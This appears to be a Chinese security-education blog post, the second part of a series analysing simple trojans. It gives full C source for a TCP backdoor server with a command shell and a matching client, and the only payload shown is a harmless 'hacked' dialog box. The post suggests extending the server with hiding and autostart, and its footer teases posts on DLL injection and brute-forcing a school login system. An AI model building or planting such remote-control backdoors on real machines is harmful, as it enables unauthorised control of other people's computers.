反病毒攻防研究第008篇:简单木马分析与防范part2

一、前言

一般来说,木马是既有客户端也有服务器端的。上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作。本篇文章会从客户端与服务器端两个方面进行讨论,与上次的讨论不同的是,这次我会直接把用来模拟病毒的对话框程序放入服务器端,这样只要成功连接,那么就可以通过由客户端所发出的命令来让服务器端直接执行对话框程序。用这种思想,可以给服务器端增加很多功能,但是在这里仅仅讨论对话框的打开。

二、服务器端的实现

这里所讨论的木马依旧是命令行下的木马,如果当实现的命令不断增多,那么就会很容易忘记。所以为了便于使用,可以在木马服务器端加入一个简单的帮助信息,就是说,在客户端输入帮助命令后,服务器端就会把相应的帮助信息发送到客户端。另外,由于可能会有很多的功能,所以在服务器端设置一个指令分发机制,从而便于执行相应的功能。完整代码如下:

#include<winsock2.h>
#include<windows.h>
#pragma comment(lib, "ws2_32.lib")
//定义开放端口
#define MasterPort 999
//定义帮助信息
#define HELPMSG "help - Show Help Menu \r\n" \
                "hack - Show MessageBox \r\n"                "exit - Quit BdShell"
//显示对话框
void hack()
{
        MessageBox(0,"You have been hacked! (by J.Y.)","Warning",0);
        return;
}
//指令分发
BOOL Dispatch(SOCKET sock, char *szCmd)
{
        BOOL bRet = FALSE;

        //执行help指令
        if ( !strcmp(szCmd, "help") )
        {
                send(sock, HELPMSG, strlen(HELPMSG) + sizeof(char), 0);
                bRet = TRUE;
        }
        //执行hack指令
        else if ( !strcmp(szCmd, "hack") )
        {
                hack();
                bRet = TRUE;
        }
        return bRet;
}

int main(int argc, char argv[])
{
        WSADATA wsaData;
        WSAStartup(MAKEWORD(2, 2), &wsaData);

        SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

        sockaddr_in sockaddr;
        sockaddr.sin_family = PF_INET;
        sockaddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
        sockaddr.sin_port = htons(MasterPort);

        bind(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

        listen(s, 1);

        SOCKADDR clientAddr;
        int nSize = sizeof(SOCKADDR);
        SOCKET clientSock;
        clientSock = accept(s, (SOCKADDR*)&clientAddr, &nSize);

        while(TRUE)
        {
                //发送一个命令提示
                send(clientSock,
                     "BdShell>",
                      strlen("BdShell>") + sizeof(char),
                      0);

                char buff[MAXBYTE] = { 0 };

                //接收客户端发来的命令如果是exit则退出while循环
                recv(clientSock, buff, MAXBYTE, 0);
                if ( !strcmp(buff, "exit") )
                {
                        break;
                }

                //分发命令并执行
                BOOL bRet = Dispatch(clientSock, buff);
                //指令输入错误时的处理
                if( bRet == FALSE )
                {
                        send(clientSock,
                             "Command Unsuccessfully!",
                              strlen("Command Unsuccessfully!") + sizeof(char),
                              0);
                }
        }
        //关闭套接字
        closesocket(clientSock);
        closesocket(s);

        WSACleanup();
        <span style="font-family: Arial, Helvetica, sans-serif;">return 0;</span>
}

上述代码是一个框架,可以不断完善来丰富功能,功能的修改只涉及服务器端,客户端是无需修改的。不过这仅仅是为了学习,要开发一个专业的木马并不是一件容易的事。最关键的是,我在这里所讲的一切都是为了学习计算机安全知识,而不是为了搞破坏。希望大家铭记于心。

三、客户端的实现

木马客户端的代码就是完成字符串的发送而已,非常简单,代码如下:

#include<stdio.h>
#include<conio.h>
#include<winsock2.h>
#include<windows.h>
#pragma comment(lib, "ws2_32.lib")
//定义开放端口
#define MasterPort 999

int main(int argc, char argv[])
{
        WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	SOCKET ClientSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

	sockaddr_in ServerAddr;

	ServerAddr.sin_family = PF_INET;
	//定义服务器端的IP地址
	ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.1.107");
	ServerAddr.sin_port = htons(MasterPort);

	connect(ClientSock, (SOCKADDR*)&ServerAddr, sizeof(SOCKADDR));

	while(TRUE)
	{
		char Buff[MAXBYTE] = { 0 };
		char Cmd[MAXBYTE] = { 0 };

		//接收由服务器端传送来的命令提示符或其他信息
		recv(ClientSock, Buff, MAXBYTE, 0);
		//指令输入错误的处理
		if ( !strcmp(Buff, "Command Unsuccessfully!") )
		{
			printf("%s \r\n", Buff);
			recv(ClientSock, Buff, MAXBYTE, 0);
		}
		printf("%s", Buff);

		//输入指令
		scanf("%s", Cmd);
		//发送指令
		send(ClientSock, Cmd, MAXBYTE, 0);
		//如果输入exit指令则退出
		if ( !strcmp(Cmd, "exit") )
		{
			printf("Login oot ! \r\n");
			break;
		}
		//如果输入help指令则接收帮助信息
		else if ( !strcmp(Cmd, "help") )
		{
			recv(ClientSock, Buff, MAXBYTE, 0);
			printf("%s \r\n", Buff);
		}
                //清零重置缓冲区
		memset(Buff, 0, MAXBYTE);
		memset(Cmd, 0, MAXBYTE);
	}

	getch();
	closesocket(ClientSock);
	WSACleanup();

	return 0;
}

在我看来,这种基于C/S模式的程序,重要的是要分清楚程序的逻辑,保证在实现不同功能的时候,recv()和send()指令是一一对应的,否则就会接收到不正确的信息。举例来说,当客户端发送help指令的时候,我们希望的是首先接收到由服务器端发送来的帮助信息,紧接着再接收命令提示符,所以需要两个recv()指令用于接收;而如果是hack指令,由于客户端不需要它有返回值,所以接下来只需要一个recv()指令用于接收命令提示符就可以。这个问题在编程中是要特别注意的。

四、实际测试

同上次一样,我准备了两台计算机用于测试。首先需要在一台计算机上运行服务器端程序,之后在另外一台计算机上运行客户端程序,这样客户端就能够直接连接到服务器端。在客户端依次输入help、hack以及exit命令进行测试:

图1 在客户端输入命令

当输入hack命令时,服务器端就会启动用于模拟病毒的对话框程序:

图2 客户端启动对话框

而在客户端输入exit指令,那么无论是客户端还是服务器端都会退出。所以这里所编写的程序是可行的,成功地达到了启动对话框的目的。

五、木马的防范

其实C/S模式的木马的实现原理和网上聊天的原理是基本一致的,都是基于TCP/IP协议的通信,都是在进行消息的传递。所不同的是,木马的客户端向服务器端发送的消息是控制命令,服务器端收到指令后会执行相应的功能,并将执行结果反馈给客户端,这就是远程控制的实现。如果服务器端增加自身隐藏的功能,复制自身到系统目录,然后自动启动……那么服务器端就是一个标准的木马了。可以说,即便是复杂的木马,也是这样的原理,所不同的是高明的木马程序会将自身隐藏得非常完美,还能躲过杀毒软件的查杀,而且难以彻底删除……这些都会在未来进行讨论。

想要进行防范病毒木马,那么首要的是去了解它,了解它的编写方式与运行原理,之后才能更加有效地针对。由于这次所举的木马的例子与上次的类似,那么处理方式也是大同小异的,这里就不再赘述。

六、小结

关于简单木马与病毒结合运用的两篇剖析的文章在此告一段落。结合以前的几篇文章也可以看到,其实黑客编程并不困难,并没有非常复杂的程序与算法,无非是各种API函数的堆砌,重点在于程序编写者对于计算机体系的了解有多少,如果了解得越多,那么其所编写的病毒木马的威力就会越惊人,也就越难以查杀。而从我的这几篇分析文章也可以看到,查杀方法似乎比编写病毒木马还要简单。确实如此,不过由于我所举的这些例子都比较简单,而且我也比较了解这些程序的运行机制,所以处理起来非常快。而在实际的反病毒工作中,为了分析一个非常复杂的病毒,可能需要几天的时间。尽管现在有了自动化的检测工具,但是道高一尺魔高一丈,在攻与防的对立统一中,双方的技术都是在不断进步的,这可以说是一场智力与精力的较量。当然我希望的是,安全领域会最终取得胜利。

时间: 2024-10-17 00:09:31

反病毒攻防研究第008篇:简单木马分析与防范part2的相关文章

反病毒攻防研究第012篇:利用Inline HOOK实现主动防御

一.前言 之前文章中所讨论的恶意程序的应对方法,都是十分被动的,即只有当恶意程序被执行后,才考虑补救措施.这样,我们就会一直处于后手状态,而如果说病毒的危害性极大,那么即便我们完美地修复了诸如注册表项,服务项等敏感位置,并且删除了病毒本身,但是它依旧可能已经破坏了系统中非常重要的文件,造成了不可逆的损伤.因此这篇文章就来简单讨论一下利用Inline HOOK技术实现主动防御,在病毒执行前,就主动将危险函数劫持,如同一道防火墙,保护我们计算机的安全. 二.Inline HOOK原理 我们平时所使用

反病毒攻防研究第015篇:病毒感染标志的添加

一.前言 对于感染型病毒而言,如果对同一个目标文件多次进行感染,有可能导致目标文件损坏,使得无法执行.所以病毒程序往往会在第一次感染时对目标文件写进一个感染标志,这样在第二次遇到该文件时,首先判断一下该文件中是否包含有感染标志,如果有,则不再感染,如果没有感染标志则进行感染(关于文件的感染,可参见<反病毒攻防研究第004篇:利用缝隙实现代码的植入>和<反病毒攻防研究第005篇:添加节区实现代码的植入>).所谓的感染标志其实就是在PE文件中无关紧要的位置写入的一个字符串,所以感染标志

反病毒攻防研究第009篇:DLL注入(上)——DLL文件的编写

一.前言 我之前所编写的用于模拟计算机病毒的对话框程序都是exe文件,所以运行时必将会产生一个进程,产生进程就非常容易被发现.而为了不被发现,可以选择将对话框程序创建为DLL文件.这种文件会加载到已有进程的地址空间中,这样就不会再次创建出进程,隐蔽性相对较好,DLL注入也是恶意程序总会使用的手段.这次我带算用几篇文章的篇幅来论述DLL注入的问题,而这篇文章就首先来讨论一下如何把我之前的对话框程序改写为DLL文件. 二.编写对话框DLL程序 这里我依旧使用VC++6.0,创建一个简单的Win32

反病毒攻防研究第007篇:简单木马分析与防范part1

一.前言 病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为"恶意代码".这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法.本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现"病毒"的启动.而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与"病毒"相结合的分析与防范.

反病毒攻防研究第004篇:利用缝隙实现代码的植入

一.前言 现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机.黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大.而本篇文章就来剖析病毒感染的实现原理,首先需要搜索正常程序中的缝隙用于"病毒"(用对话框模拟)的植入,之后感染目标程序以实现"病毒"的启动.当然,讨论完这些,我依旧会分析如何应对这种

反病毒攻防研究第010篇:DLL注入(中)——DLL注入与卸载器的编写

一.前言 我在上一篇文章中所讨论的DLL利用方法,对于DLL文件本身来说是十分被动的,它需要等待程序的调用才可以发挥作用.而这次我打算主动出击,编写DLL注入与卸载器,这样就可以主动地对进程进行注入的操作了,从而更好地模拟现实中恶意代码的行为. 二.DLL注入的原理 如果想让DLL文件强制注入某个进程,那么就需要通过创建远程线程来实现.这里需要注意的是,所谓的"远程线程",并不是跨计算机的,而是跨进程的.举例来说,进程A在进程B中创建一个线程,这就叫做远程线程.从根本上说,DLL注入技

反病毒攻防研究第011篇:DLL注入(下)——无DLL的注入

一.前言 一般来说,想要将自己编写的程序注入到其它进程中,是必须要使用DLL文件的,这种方法已经在上一篇文章中讨论过了.但是事实上,可以不依赖于DLL文件来实现注入的.只不过这种方法不具有通用性,没有DLL注入那样灵活,因为它需要把代码写入"注入程序"中,一旦想要注入的内容发生了变化,就需要重写整个"注入程序".而不像DLL注入那样,只要修改DLL程序即可.即便如此,无DLL进行注入的方式,也是一种值得讨论的方法. 二.无DLL注入的基本原理 在注入与卸载方面,无论

反病毒攻防研究第005篇:添加节区实现代码的植入

一.前言 上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中.而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心.而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用.其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区.这

网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码

前言 如果你是在校大学生,而且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统.因为一般来说这样的系统往往比较薄弱,拿来练手那是再合适不过的了.作为本系列的第一篇文章,我将会利用暴力破解的方式,尝试对某高校的研究生管理系统的学生密码进行破解.由于这个管理系统的网站属于该高校的内网资源,外网是无法访问的,因此大家就不要尝试按照文中的内容来对文中出现的网址进行访问了.利用本文所论述的暴力破解思想,可以帮助大家更好地认识我们的网络,也有助于了解目标网站是否安全.那么在这里